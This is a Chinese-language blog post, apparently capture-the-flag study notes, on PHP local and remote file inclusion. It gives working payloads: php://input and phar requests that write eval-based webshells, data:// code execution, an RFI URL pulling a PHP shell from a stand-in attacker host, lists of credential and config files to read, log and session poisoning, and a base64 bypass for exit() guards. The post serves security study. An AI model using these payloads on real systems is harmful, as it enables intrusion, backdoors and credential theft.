文件包含

2024 年 4 月 19 日 (已编辑)
1231 字
7 分钟

文件包含

定义

传入的文件名没有经过合理的校验,从而操作了预想之外的文件,导致意外的文件泄露甚至恶意的代码注入。

危险函数(漏洞来源)

  • include()
  • include_once()
  • require()
  • require_once()

包含分类

allow_url_include = on allow_url_fopen = on

php5.2后allow_url_include默认为off

allow_url_include开启就可能有远程文件包含

本地文件包含(LFI)

直接包含有flag的文件

原url:http://www.example.com/demo.php 在url后加上?file=flag.php%00 代码相当于include '/home/www/flag.php%00.php' ,而%00是截断符,后面的.php被截断

php伪协议

  1. file://访问本地文件系统

用法:file://文件绝对路径和文件名

php.ini里两个配置是否打开都可以使用

text
./index.php?file=file://D:/phpstudy/www/flag.txt
./index.php?file=file:///var/www/html/flag.php
  1. php://filter读取网页源代码

用法:读取网页源代码

条件:同file://

text
  // url后出现?file=的时候就可以尝试读取源代码, 但是假如我们并没有绝对路径, 则无法使用
  读取index的内容,并将内容进行base64编码并且输出
  ?file=php://filter/resource=index.php
  ?file=php://filter/read=convert.base64-encode/resource=index.php

  resource - 可以指定要筛选的数据流
  read - 可以设定过滤器名称

假如没有进行base64编码就会被当成php执行

  1. php://input将post请求中的数据作为php代码执行

条件:allow_url_include=on

text
http://127.0.0.1/include/index.php?page=php://input
// 然后POST发送木马或其他东西
<?php phpinfo();?>
<?php fputs(fopen("shell","w"),"<?php @eval(\$_POST['a'])?>");?>
  1. data://向服务器输入数据让服务器执行

需要allow_url_fopen,allow_url_include均为on

text
http://127.0.0.1/include.php?file=data://text/plain,<?php%20phpinfo();?>

text/plain,表示的是文本
data://text/plain;base64, 若纯文本没用,试试base64编码
  1. dict://一般都出现在ssrf协议中,用来探测端口的指纹信息。同时也可以用它来代替gopher协议进行ssrf攻击
text
探测端口指纹
192.168.0.0/?url=dict://192.168.0.0:6379
//以上为探测6379(redis)端口的开发

反弹shell
?
  1. gopher://协议经常用来打内网的各种应用mysql redis等。 一般要用一些工具来进行构造payload 如gopherus等

  2. zip://访问服务器中的压缩包 zip://协议可以用来访问服务器中的压缩包,无论压缩包里面的文件是什么类型的都可以执行

  3. phar://它也可以访问zip包,访问的格式与zip的不同

text
http://127.0.0.1/include.php?
file=phar:///phpinfo.zip/phpinfo.txt
# 这里用/隔开了子文件

# 写入php代码获取webshell查看flag
<?php fputs(fopen("shell.php","w"),'<?php eval($_POST["xxx"]);?>')?>
# 使用post方法,蚁剑等连接即可

远程文件包含(RFI)

第三方服务器上可运行的PHP木马,拿到webshell查看flag。 php.ini两个都是开启状态

text
./demo.php?param=http://www.xx.com/attacker/PHPshell.txt

txt内容为一句话木马, 连接即可

利用

读取源代码/敏感文件

text
Windows:
C:\windows-version.txt		// 系统敏感信息
C:\boot.ini			// 系统版本
C:\windows\system32\inetsrv\MetaBase.xml		// IIS配置文件
C:\windows\repair\sam		// windows初次安装密码
C:\program Files\mysql\my.ini		// MySQL配置信息
C:\program Files\mysql\data\mysql\user.MYD	// MySQL root
C:\windows\php.ini		// PHP配置信息

Linux:
/etc/passwd		//linux用户信息
/usr/local/app/apache2/conf/httpd.conf		//apache2配置文件
/usr/local/app/php5/lib/php.ini		//php配置文件
/etc/httpd/conf/httpd.conf		//apache配置文件
/etc/my.cnf		//Mysql配置文件

日志文件包含

用户发起请求,请求会写入access.log, 发生错误会写入error.log; 如果这些路径可以被包含到, 那么就可以用日志文件包含进行getshell

构造正常请求包, 然后在UA头写入一句话木马后发包;此时再包含日志, 可以蚁剑连接或者直接执行命令

text
?file=/var/log/nginx/access.log
  • Apache日志文件
text
Windows+Apache:
XAMPP:	phpStudy\Apache\logs\access.log
php	xampp\apache\logs\access.log

Linux+Apache:
/etc/httpd/logs/access_log
/var/log/httpd/access_log
  • IIS日志文件
text
Windows+IIS6
C:\Windows\system32\Logfiles

Windows+IIS7
%SystemDrive%\inetpub\logs\LogFiles
  • Nginx日志文件
text
最常见的是:
/var/log/nginx/access.log

安装目录相关:
若安装目录/usr/local/nginx, 则日志在/usr/local/nginx/logs里

也可以通过 nginx.conf 获取日志
/opt/nginx/logs/access.log
  • SSH日志文件

用户名写成木马, 就可以了

  • session文件包含

路径可以通过phpinfo获取,是session.save_path参数

text
常见路径:
/var/lib/php/sess_[PHPSESSID]
/tmp/sess_[PHPSESSID]

构造恶意session,然后获取session文件名,连接即可

绕过

file_put_content死亡/杂糅

file_put_content可以拼接代码, 例如下面这个php代码:

php
$filename = $_GET['file'];
$content = $_POST['content'];
file_put_contents($filename , "<?php exit()?>".$content);

写入文件前加上了直接结束程序的符号, 导致访问/包含的时候回直接退出, 无法执行后面的内容

解决方法就是将死亡代码解码成乱码,因为第一个参数可控, 我们可以控制编解码方式使得php引擎无法识别前面的内容, 这里就给出最简单的base64方法, 其他的方法见大佬博客

将一句话木马内容进行base64编码, 同时为了避免解码过程中出现错误, 利用字符填充位数使得死亡代码解码后不会影响后面的payload

php
$filename = 'php://filter/convert.base64-decode/resource=a.php';
$content = 'aPD9waHAgcGhwaW5mbygpOz8+';
file_put_contents($filename , "<?php exit();".$content);

这样前面的死亡代码就变成了乱码不会被php解析

部分过滤

假如只过滤了部分内容, 通过更换伪协议, 拼接或直接包含即可

条件竞争绕过

session.upload_progress详解

关联文档 -伪协议

文章标题:文件包含

文章作者:4reexile

文章链接:https://4reexile.github.io/posts/%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB[复制]

最后修改时间:


商业转载请联系站长获得授权,非商业转载请注明本文出处及文章链接,您可以自由地在任何媒体以任何形式复制和分发作品,也可以修改和创作,但是分发衍生作品时必须采用相同的许可协议。
本文采用CC BY-NC-SA 4.0进行许可。